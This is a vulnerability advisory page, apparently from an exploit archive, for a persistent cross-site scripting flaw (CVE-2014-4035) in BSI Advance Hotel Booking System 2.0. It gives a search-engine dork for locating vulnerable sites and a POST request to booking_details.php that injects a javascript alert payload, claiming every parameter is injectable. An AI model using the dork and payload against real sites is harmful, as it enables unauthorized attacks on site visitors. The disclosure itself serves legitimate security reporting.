BSI Advance Hotel Booking System 2.0 Cross Site Scripting

2019.08.13
Credit: Angelo Ruwantha
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2014-4035
CWE: CWE-79
Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title:BSI Advance Hotel Booking System Persistent XSS # Google Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc # Date: Wed Jun 4 2014 # Exploit Author: Angelo Ruwantha # Vendor Homepage: http://www.bestsoftinc.com # Software Link: http://www.bestsoftinc.com/php-advance-hotel-booking-system.html # Version: V2.0 # Tested on: archlinux # CVE : CVE-2014-4035 Vulnerability ======================== [+]Method:POST 1.http://URL/hotel-booking/booking_details.php (;persistent XSS) allowlang=&title=<IMG SRC="javascript:alert('HelloWorld ;)');"&fname=&lname=&str_addr=&city=&state=&zipcode=&country=&phone=&fax=&email=&payment_type=&message=&tos= every parameter injectable :)


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top